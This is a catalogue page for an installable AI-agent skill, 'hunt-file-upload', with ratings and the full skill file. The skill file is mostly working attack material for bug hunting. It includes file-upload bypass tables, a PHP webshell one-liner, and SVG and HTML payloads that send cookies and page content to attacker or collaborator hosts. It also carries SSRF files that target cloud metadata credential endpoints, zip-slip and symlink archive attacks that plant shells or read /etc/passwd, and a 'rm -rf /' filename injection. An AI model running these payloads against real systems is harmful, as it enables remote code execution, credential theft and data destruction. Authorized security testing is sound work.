hunt-file-upload

Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP)…

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Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload

Installs into whichever agent you are using.

About this skill

📄

SKILL.md

Installable skill definition

Quality Score

94/100

Our assessment of hunt-file-upload

hunt-file-upload scores 94/100 on our quality scale, 353rd of 3,055 Development & Engineering skills we index (top 12%).

Its SKILL.md is 7.7 KB long, well organised into 32 sections with 6 code examples: a thorough specification that gives an agent plenty to work with.

With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance

29/30

Structure

20/20

Description

15/15

Adoption

16/20

Freshness

15/15

Maintenance, license and trust

The repository was last updated 2 days ago, so hunt-file-upload is actively maintained.
It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-file-upload compared with similar skills

All 4 of these similar skills score higher than hunt-file-upload; compare them before choosing.

Skill	Score	Stars	Updated	Format
hunt-file-upload (this skill)by elementalsouls	94	4.7k	2d ago	SKILL.md
ai-job-searchby MadsLorentzen	100	44.3k	today	CLAUDE.md
claude-howtoby luongnv89	100	41.7k	2d ago	CLAUDE.md
algorithmic-artby anthropics	100	177.9k	5d ago	SKILL.md
pptxby anthropics	100	177.9k	5d ago	SKILL.md

Frequently asked questions

How do I install hunt-file-upload?: Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-file-upload. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-file-upload work with?: It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-file-upload safe to use?: Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-file-upload still maintained?: The repository was last updated 2 days ago, so hunt-file-upload is actively maintained.

Skill content

View source on GitHub

name: hunt-file-upload description: "Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples." sources: hackerone_public, cve_database, owasp, public_research report_count: 5

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

| Attack | How | Prevention | |---|---|---| | Extension bypass | shell.php.jpg, shell.pHp, shell.php5 | Allowlist + extract final extension | | Null byte | shell.php%00.jpg | Sanitize null bytes | | Double extension | shell.jpg.php | Only allow single extension | | MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header | | Magic bytes prefix | Prepend GIF89a; to PHP code | Parse whole file, not just header | | Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid | | SVG JavaScript | <svg onload="..."> | Sanitize SVG or disallow entirely | | XXE in DOCX | Malicious XML in Office ZIP | Disable external entities | | ZIP slip | ../../../etc/passwd in archive | Validate extracted paths | | Filename injection | ; rm -rf / in filename | Sanitize + use UUID names |

Magic Bytes Reference

| Type | Hex | |---|---| | JPEG | FF D8 FF | | PNG | 89 50 4E 47 0D 0A 1A 0A | | GIF | 47 49 46 38 | | PDF | 25 50 44 46 | | ZIP/DOCX/XLSX | 50 4B 03 04 |

Stored XSS via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg Exploitation

ImageMagick SSRF / File Read (ImageTragick family + modern variants)

# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC

FFmpeg SSRF via HLS Playlist

# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

Headless Chrome / PDF Generator SSRF

HTML → PDF Converter Attacks

# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'

# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d "{\"html\": \"$PAYLOAD\"}"

Archive Extraction Attacks (Zip Slip / Symlink)

# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/

# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
  -F "file=@/tmp/zipslip.zip"

Related Skills & Chains

hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.

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elementalsouls

View profile

View on GitHub

GitHub Stars4.7k

CategoryDevelopment

Updated2d ago

Forks704

elementalsouls/hunt-file-upload

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions